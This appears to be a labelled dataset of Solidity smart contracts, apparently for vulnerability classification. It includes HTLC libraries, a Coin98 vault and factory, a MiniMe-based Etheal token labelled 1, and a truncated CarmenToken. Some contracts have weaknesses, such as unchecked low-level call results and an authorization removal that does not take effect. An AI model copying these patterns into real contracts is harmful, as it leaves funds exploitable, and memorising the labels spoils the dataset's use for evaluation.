UserTx memory userTx = self.mapHashXUserTxs[params.xHash];
require(userTx.baseTx.status == TxStatus.None, "User tx exists");
userTx.baseTx.smgID = params.smgID;
userTx.baseTx.lockedTime = params.lockedTime;
userTx.baseTx.beginLockedTime = now;
userTx.baseTx.status = TxStatus.Locked;
userTx.tokenPairID = params.tokenPairID;
userTx.value = params.value;
userTx.fee = params.lockFee;
userTx.userAccount = msg.sender;
self.mapHashXUserTxs[params.xHash] = userTx;
}
function redeemUserTx(Data storage self, bytes32 x)
external
returns(bytes32 xHash)
{
xHash = sha256(abi.encodePacked(x));
UserTx storage userTx = self.mapHashXUserTxs[xHash];
require(userTx.baseTx.status == TxStatus.Locked, "Status is not locked");
require(now < userTx.baseTx.beginLockedTime.add(userTx.baseTx.lockedTime), "Redeem timeout");
userTx.baseTx.status = TxStatus.Redeemed;
return xHash;
}
function revokeUserTx(Data storage self, bytes32 xHash)
external
{
UserTx storage userTx = self.mapHashXUserTxs[xHash];
require(userTx.baseTx.status == TxStatus.Locked, "Status is not locked");
require(now >= userTx.baseTx.beginLockedTime.add(userTx.baseTx.lockedTime), "Revoke is not permitted");
userTx.baseTx.status = TxStatus.Revoked;
}
function getUserTx(Data storage self, bytes32 xHash)
external
view
returns (bytes32, uint, uint, uint, address)
{
UserTx storage userTx = self.mapHashXUserTxs[xHash];
return (userTx.baseTx.smgID, userTx.tokenPairID, userTx.value, userTx.fee, userTx.userAccount);
}
function addSmgTx(Data storage self, bytes32 xHash, bytes32 smgID, uint tokenPairID, uint value, address userAccount, uint lockedTime)
external
{
SmgTx memory smgTx = self.mapHashXSmgTxs[xHash];
require(value != 0, "Value is invalid");
require(smgTx.baseTx.status == TxStatus.None, "Smg tx exists");
smgTx.baseTx.smgID = smgID;
smgTx.baseTx.status = TxStatus.Locked;
smgTx.baseTx.lockedTime = lockedTime;
smgTx.baseTx.beginLockedTime = now;
smgTx.tokenPairID = tokenPairID;
smgTx.value = value;
smgTx.userAccount = userAccount;
self.mapHashXSmgTxs[xHash] = smgTx;
}
function redeemSmgTx(Data storage self, bytes32 x)
external
returns(bytes32 xHash)
{
xHash = sha256(abi.encodePacked(x));
SmgTx storage smgTx = self.mapHashXSmgTxs[xHash];
require(smgTx.baseTx.status == TxStatus.Locked, "Status is not locked");
require(now < smgTx.baseTx.beginLockedTime.add(smgTx.baseTx.lockedTime), "Redeem timeout");
smgTx.baseTx.status = TxStatus.Redeemed;
return xHash;
}
function revokeSmgTx(Data storage self, bytes32 xHash)
external
{
SmgTx storage smgTx = self.mapHashXSmgTxs[xHash];
require(smgTx.baseTx.status == TxStatus.Locked, "Status is not locked");
require(now >= smgTx.baseTx.beginLockedTime.add(smgTx.baseTx.lockedTime), "Revoke is not permitted");
smgTx.baseTx.status = TxStatus.Revoked;
}
function getSmgTx(Data storage self, bytes32 xHash)
external
view
returns (bytes32, uint, uint, address)
{
SmgTx storage smgTx = self.mapHashXSmgTxs[xHash];
return (smgTx.baseTx.smgID, smgTx.tokenPairID, smgTx.value, smgTx.userAccount);
}
function addDebtTx(Data storage self, bytes32 xHash, bytes32 srcSmgID, bytes32 destSmgID, uint lockedTime, TxStatus status)
external
{
DebtTx memory debtTx = self.mapHashXDebtTxs[xHash];
require(debtTx.baseTx.status == TxStatus.None, "Debt tx exists");
debtTx.baseTx.smgID = destSmgID;
debtTx.baseTx.status = status;
debtTx.baseTx.lockedTime = lockedTime;
debtTx.baseTx.beginLockedTime = now;
debtTx.srcSmgID = srcSmgID;
self.mapHashXDebtTxs[xHash] = debtTx;
}
function redeemDebtTx(Data storage self, bytes32 x, TxStatus status)
external
returns(bytes32 xHash)
{
xHash = sha256(abi.encodePacked(x));
DebtTx storage debtTx = self.mapHashXDebtTxs[xHash];
require(debtTx.baseTx.status == status, "Status is not locked");
require(now < debtTx.baseTx.beginLockedTime.add(debtTx.baseTx.lockedTime), "Redeem timeout");
debtTx.baseTx.status = TxStatus.Redeemed;
return xHash;
}
function revokeDebtTx(Data storage self, bytes32 xHash, TxStatus status)
external
{
DebtTx storage debtTx = self.mapHashXDebtTxs[xHash];
require(debtTx.baseTx.status == status, "Status is not locked");
require(now >= debtTx.baseTx.beginLockedTime.add(debtTx.baseTx.lockedTime), "Revoke is not permitted");
debtTx.baseTx.status = TxStatus.Revoked;
}
function getDebtTx(Data storage self, bytes32 xHash)
external
view
returns (bytes32, bytes32)
{
DebtTx storage debtTx = self.mapHashXDebtTxs[xHash];
return (debtTx.srcSmgID, debtTx.baseTx.smgID);
}
function getLeftTime(uint endTime) private view returns (uint) {
if (now < endTime) {
return endTime.sub(now);
}
return 0;
}
function getLeftLockedTime(Data storage self, bytes32 xHash)
external
view
returns (uint)
{
UserTx storage userTx = self.mapHashXUserTxs[xHash];
if (userTx.baseTx.status != TxStatus.None) {
return getLeftTime(userTx.baseTx.beginLockedTime.add(userTx.baseTx.lockedTime));
}
SmgTx storage smgTx = self.mapHashXSmgTxs[xHash];
if (smgTx.baseTx.status != TxStatus.None) {
return getLeftTime(smgTx.baseTx.beginLockedTime.add(smgTx.baseTx.lockedTime));
}
DebtTx storage debtTx = self.mapHashXDebtTxs[xHash];
if (debtTx.baseTx.status != TxStatus.None) {
return getLeftTime(debtTx.baseTx.beginLockedTime.add(debtTx.baseTx.lockedTime));
}
require(false, 'invalid xHash');
}
}
pragma solidity ^0.4.26;
library RapidityTxLib {
enum TxStatus {None, Redeemed}
struct Data {
mapping(bytes32 => TxStatus) mapTxStatus;
}
function addRapidityTx(Data storage self, bytes32 uniqueID)
internal
{
TxStatus status = self.mapTxStatus[uniqueID];
require(status == TxStatus.None, "Rapidity tx exists");
self.mapTxStatus[uniqueID] = TxStatus.Redeemed;
}
}
pragma solidity ^0.4.26;
library CrossTypesV1 {
using SafeMath for uint;
struct Data {
HTLCTxLib.Data htlcTxData;
RapidityTxLib.Data rapidityTxData;
IQuota quota;
ITokenManager tokenManager;
IStoremanGroup smgAdminProxy;
address smgFeeProxy;
ISignatureVerifier sigVerifier;
mapping(bytes32 => uint) mapStoremanFee;
mapping(uint => mapping(uint =>uint)) mapContractFee;
mapping(uint => mapping(uint =>uint)) mapAgentFee;
}
function bytesToAddress(bytes b) internal pure returns (address addr) {
assembly {
addr := mload(add(b,20))
}
}
function transfer(address tokenScAddr, address to, uint value)
internal
returns(bool)
{
uint beforeBalance;
uint afterBalance;
beforeBalance = IRC20Protocol(tokenScAddr).balanceOf(to);
tokenScAddr.call(bytes4(keccak256("transfer(address,uint256)")), to, value);
afterBalance = IRC20Protocol(tokenScAddr).balanceOf(to);
return afterBalance == beforeBalance.add(value);
}
function transferFrom(address tokenScAddr, address from, address to, uint value)
internal
returns(bool)
{
uint beforeBalance;
uint afterBalance;
beforeBalance = IRC20Protocol(tokenScAddr).balanceOf(to);
tokenScAddr.call(bytes4(keccak256("transferFrom(address,address,uint256)")), from, to, value);
afterBalance = IRC20Protocol(tokenScAddr).balanceOf(to);
return afterBalance == beforeBalance.add(value);
}
}
pragma solidity ^0.4.26;
library HTLCDebtLibV2 {
struct DebtAssetParams {
bytes32 uniqueID;
bytes32 srcSmgID;
bytes32 destSmgID;
}
event TransferAssetLogger(bytes32 indexed uniqueID, bytes32 indexed srcSmgID, bytes32 indexed destSmgID);
event ReceiveDebtLogger(bytes32 indexed uniqueID, bytes32 indexed srcSmgID, bytes32 indexed destSmgID);
function transferAsset(CrossTypesV1.Data storage storageData, DebtAssetParams memory params)
public
{
if (address(storageData.quota) != address(0)) {
storageData.quota.transferAsset(params.srcSmgID, params.destSmgID);
}
emit TransferAssetLogger(params.uniqueID, params.srcSmgID, params.destSmgID);
}
function receiveDebt(CrossTypesV1.Data storage storageData, DebtAssetParams memory params)
public
{
if (address(storageData.quota) != address(0)) {
storageData.quota.receiveDebt(params.srcSmgID, params.destSmgID);
}
emit ReceiveDebtLogger(params.uniqueID, params.srcSmgID, params.destSmgID);
}
} | 0 | 1,875 |
pragma solidity ^0.8.0;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC721 {
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
}
interface IVaultConfig {
function fee() external view returns (uint256);
function gasLimit() external view returns (uint256);
function ownerReward() external view returns (uint256);
}
abstract contract Context {
function _msgSender() internal view returns (address) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
function _msgValue() internal view returns (uint256) {
return msg.value;
}
}
abstract contract Ownable is Context {
address private _owner;
address private _newOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor (address owner_) {
_owner = owner_;
emit OwnershipTransferred(address(0), owner_);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function acceptOwnership() public {
require(_msgSender() == _newOwner, "Ownable: only new owner can accept ownership");
address oldOwner = _owner;
_owner = _newOwner;
_newOwner = address(0);
emit OwnershipTransferred(oldOwner, _owner);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_newOwner = newOwner;
}
}
abstract contract Payable {
event Deposited(address indexed sender, uint256 value);
fallback() external payable {
if(msg.value > 0) {
emit Deposited(msg.sender, msg.value);
}
}
receive() external payable {
if(msg.value > 0) {
emit Deposited(msg.sender, msg.value);
}
}
}
library MerkleProof {
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash == root;
}
}
contract Coin98Vault is Ownable, Payable {
address private _factory;
address[] private _admins;
mapping(address => bool) private _adminStatuses;
mapping(uint256 => EventData) private _eventDatas;
mapping(uint256 => mapping(uint256 => bool)) private _eventRedemptions;
constructor(address factory_, address owner_) Ownable(owner_) {
_factory = factory_;
}
struct EventData {
uint256 timestamp;
bytes32 merkleRoot;
address receivingToken;
address sendingToken;
uint8 isActive;
}
event AdminAdded(address indexed admin);
event AdminRemoved(address indexed admin);
event EventCreated(uint256 eventId, EventData eventData);
event EventUpdated(uint256 eventId, uint8 isActive);
event Redeemed(uint256 eventId, uint256 index, address indexed recipient, address indexed receivingToken, uint256 receivingTokenAmount, address indexed sendingToken, uint256 sendingTokenAmount);
event Withdrawn(address indexed owner, address indexed recipient, address indexed token, uint256 value);
function _setRedemption(uint256 eventId_, uint256 index_) private {
_eventRedemptions[eventId_][index_] = true;
}
modifier onlyAdmin() {
require(owner() == _msgSender() || _adminStatuses[_msgSender()], "Ownable: caller is not an admin");
_;
}
function admins() public view returns (address[] memory) {
return _admins;
}
function eventInfo(uint256 eventId_) public view returns (EventData memory) {
return _eventDatas[eventId_];
}
function factory() public view returns (address) {
return _factory;
}
function isRedeemed(uint256 eventId_, uint256 index_) public view returns (bool) {
return _eventRedemptions[eventId_][index_];
}
function redeem(uint256 eventId_, uint256 index_, address recipient_, uint256 receivingAmount_, uint256 sendingAmount_, bytes32[] calldata proofs) public payable {
uint256 fee = IVaultConfig(_factory).fee();
uint256 gasLimit = IVaultConfig(_factory).gasLimit();
if(fee > 0) {
require(_msgValue() == fee, "C98Vault: Invalid fee");
}
EventData storage eventData = _eventDatas[eventId_];
require(eventData.isActive > 0, "C98Vault: Invalid event");
require(eventData.timestamp <= block.timestamp, "C98Vault: Schedule locked");
require(recipient_ != address(0), "C98Vault: Invalid schedule");
bytes32 node = keccak256(abi.encodePacked(index_, recipient_, receivingAmount_, sendingAmount_));
require(MerkleProof.verify(proofs, eventData.merkleRoot, node), "C98Vault: Invalid proof");
require(!isRedeemed(eventId_, index_), "C98Vault: Redeemed");
uint256 availableAmount;
if(eventData.receivingToken == address(0)) {
availableAmount = address(this).balance;
} else {
availableAmount = IERC20(eventData.receivingToken).balanceOf(address(this));
}
require(receivingAmount_ <= availableAmount, "C98Vault: Insufficient token");
_setRedemption(eventId_, index_);
if(fee > 0) {
uint256 reward = IVaultConfig(_factory).ownerReward();
uint256 finalFee = fee - reward;
(bool success, bytes memory data) = _factory.call{value:finalFee, gas:gasLimit}("");
require(success, "C98Vault: Unable to charge fee");
}
if(sendingAmount_ > 0) {
IERC20(eventData.sendingToken).transferFrom(_msgSender(), address(this), sendingAmount_);
}
if(eventData.receivingToken == address(0)) {
recipient_.call{value:receivingAmount_, gas:gasLimit}("");
} else {
IERC20(eventData.receivingToken).transfer(recipient_, receivingAmount_);
}
emit Redeemed(eventId_, index_, recipient_, eventData.receivingToken, receivingAmount_, eventData.sendingToken, sendingAmount_);
}
function withdraw(address token_, address destination_, uint256 amount_) public onlyAdmin {
require(destination_ != address(0), "C98Vault: Destination is zero address");
uint256 availableAmount;
if(token_ == address(0)) {
availableAmount = address(this).balance;
} else {
availableAmount = IERC20(token_).balanceOf(address(this));
}
require(amount_ <= availableAmount, "C98Vault: Not enough balance");
uint256 gasLimit = IVaultConfig(_factory).gasLimit();
if(token_ == address(0)) {
destination_.call{value:amount_, gas:gasLimit}("");
} else {
IERC20(token_).transfer(destination_, amount_);
}
emit Withdrawn(_msgSender(), destination_, token_, amount_);
}
function withdrawNft(address token_, address destination_, uint256 tokenId_) public onlyAdmin {
require(destination_ != address(0), "C98Vault: destination is zero address");
IERC721(token_).transferFrom(address(this), destination_, tokenId_);
emit Withdrawn(_msgSender(), destination_, token_, 1);
}
function createEvent(uint256 eventId_, uint256 timestamp_, bytes32 merkleRoot_, address receivingToken_, address sendingToken_) public onlyAdmin {
require(_eventDatas[eventId_].timestamp == 0, "C98Vault: Event existed");
require(timestamp_ != 0, "C98Vault: Invalid timestamp");
_eventDatas[eventId_].timestamp = timestamp_;
_eventDatas[eventId_].merkleRoot = merkleRoot_;
_eventDatas[eventId_].receivingToken = receivingToken_;
_eventDatas[eventId_].sendingToken = sendingToken_;
_eventDatas[eventId_].isActive = 1;
emit EventCreated(eventId_, _eventDatas[eventId_]);
}
function setEventStatus(uint256 eventId_, uint8 isActive_) public onlyAdmin {
require(_eventDatas[eventId_].timestamp != 0, "C98Vault: Invalid event");
_eventDatas[eventId_].isActive = isActive_;
emit EventUpdated(eventId_, isActive_);
}
function setAdmins(address[] memory nAdmins_, bool[] memory nStatuses_) public onlyOwner {
require(nAdmins_.length != 0, "C98Vault: Empty arguments");
require(nStatuses_.length != 0, "C98Vault: Empty arguments");
require(nAdmins_.length == nStatuses_.length, "C98Vault: Invalid arguments");
uint256 i;
for(i = 0; i < nAdmins_.length; i++) {
address nAdmin = nAdmins_[i];
if(nStatuses_[i]) {
if(!_adminStatuses[nAdmin]) {
_admins.push(nAdmin);
_adminStatuses[nAdmin] = nStatuses_[i];
emit AdminAdded(nAdmin);
}
} else {
uint256 j;
for(j = 0; j < _admins.length; j++) {
if(_admins[j] == nAdmin) {
_admins[j] = _admins[_admins.length - 1];
_admins.pop();
delete _adminStatuses[nAdmin];
emit AdminRemoved(nAdmin);
break;
}
}
}
}
}
}
contract Coin98VaultFactory is Ownable, Payable, IVaultConfig {
uint256 private _fee;
uint256 private _gasLimit;
uint256 private _ownerReward;
address[] private _vaults;
constructor () Ownable(_msgSender()) {
_gasLimit = 9000;
}
event Created(address indexed vault);
event FeeUpdated(uint256 fee);
event OwnerRewardUpdated(uint256 fee);
event Withdrawn(address indexed owner, address indexed recipient, address indexed token, uint256 value);
function fee() override external view returns (uint256) {
return _fee;
}
function gasLimit() override external view returns (uint256) {
return _gasLimit;
}
function ownerReward() override external view returns (uint256) {
return _ownerReward;
}
function vaults() external view returns (address[] memory) {
return _vaults;
}
function createVault(address owner_) external returns (Coin98Vault vault) {
vault = new Coin98Vault(address(this), owner_);
_vaults.push(address(vault));
emit Created(address(vault));
}
function setGasLimit(uint256 limit_) public onlyOwner {
_gasLimit = limit_;
}
function setFee(uint256 fee_, uint256 reward_) public onlyOwner {
require(fee_ >= reward_, "C98Vault: Invalid reward amount");
_fee = fee_;
_ownerReward = reward_;
emit FeeUpdated(fee_);
emit OwnerRewardUpdated(reward_);
}
function withdraw(address token_, address destination_, uint256 amount_) public onlyOwner {
require(destination_ != address(0), "C98Vault: Destination is zero address");
uint256 availableAmount;
if(token_ == address(0)) {
availableAmount = address(this).balance;
} else {
availableAmount = IERC20(token_).balanceOf(address(this));
}
require(amount_ <= availableAmount, "C98Vault: Not enough balance");
if(token_ == address(0)) {
destination_.call{value:amount_, gas:_gasLimit}("");
} else {
IERC20(token_).transfer(destination_, amount_);
}
emit Withdrawn(_msgSender(), destination_, token_, amount_);
}
function withdrawNft(address token_, address destination_, uint256 tokenId_) public onlyOwner {
require(destination_ != address(0), "C98Vault: destination is zero address");
IERC721(token_).transferFrom(address(this), destination_, tokenId_);
emit Withdrawn(_msgSender(), destination_, token_, 1);
}
} | 0 | 1,259 |
pragma solidity ^0.4.17;
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() public { controller = msg.sender;}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
contract ERC20 {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20MiniMe is ERC20, Controlled {
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns (bool);
function totalSupply() public view returns (uint);
function balanceOfAt(address _owner, uint _blockNumber) public view returns (uint);
function totalSupplyAt(uint _blockNumber) public view returns(uint);
function createCloneToken(string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled) public returns(address);
function generateTokens(address _owner, uint _amount) public returns (bool);
function destroyTokens(address _owner, uint _amount) public returns (bool);
function enableTransfers(bool _transfersEnabled) public;
function isContract(address _addr) internal view returns(bool);
function claimTokens(address _token) public;
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
}
contract TokenController {
ERC20MiniMe public ethealToken;
address public SALE;
function addHodlerStake(address _beneficiary, uint _stake) public;
function setHodlerStake(address _beneficiary, uint256 _stake) public;
function setHodlerTime(uint256 _time) public;
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public returns(bool);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.2';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
doTransfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
}
doTransfer(_from, _to, _amount);
return true;
}
function doTransfer(address _from, address _to, uint _amount
) internal {
if (_amount == 0) {
Transfer(_from, _to, _amount);
return;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
var previousBalanceFrom = balanceOfAt(_from, block.number);
require(previousBalanceFrom >= _amount);
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) public onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract EthealTokenV2 is MiniMeToken {
function EthealTokenV2(address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, bool _transfersEnabled)
MiniMeToken(
_tokenFactory,
_parentToken,
_parentSnapShotBlock,
"Etheal Token",
18,
"HEAL",
_transfersEnabled
)
{
}
} | 1 | 3,965 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract Authorizable is owned {
struct Authoriz{
uint index;
address account;
}
mapping(address => bool) public authorized;
mapping(address => Authoriz) public authorizs;
address[] public authorizedAccts;
modifier onlyAuthorized() {
if(authorizedAccts.length >0)
{
require(authorized[msg.sender] == true || owner == msg.sender);
_;
}else{
require(owner == msg.sender);
_;
}
}
function addAuthorized(address _toAdd)
onlyOwner
public
{
require(_toAdd != 0);
require(!isAuthorizedAccount(_toAdd));
authorized[_toAdd] = true;
Authoriz storage authoriz = authorizs[_toAdd];
authoriz.account = _toAdd;
authoriz.index = authorizedAccts.push(_toAdd) -1;
}
function removeAuthorized(address _toRemove)
onlyOwner
public
{
require(_toRemove != 0);
require(_toRemove != msg.sender);
authorized[_toRemove] = false;
}
function isAuthorizedAccount(address account)
public
constant
returns(bool isIndeed)
{
if(account == owner) return true;
if(authorizedAccts.length == 0) return false;
return (authorizedAccts[authorizs[account].index] == account);
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
}
contract CarmenToken is Authorizable, TokenERC20 {
using SafeMath for uint256;
uint256 public tokenSaleHardCap;
uint256 public baseRate;
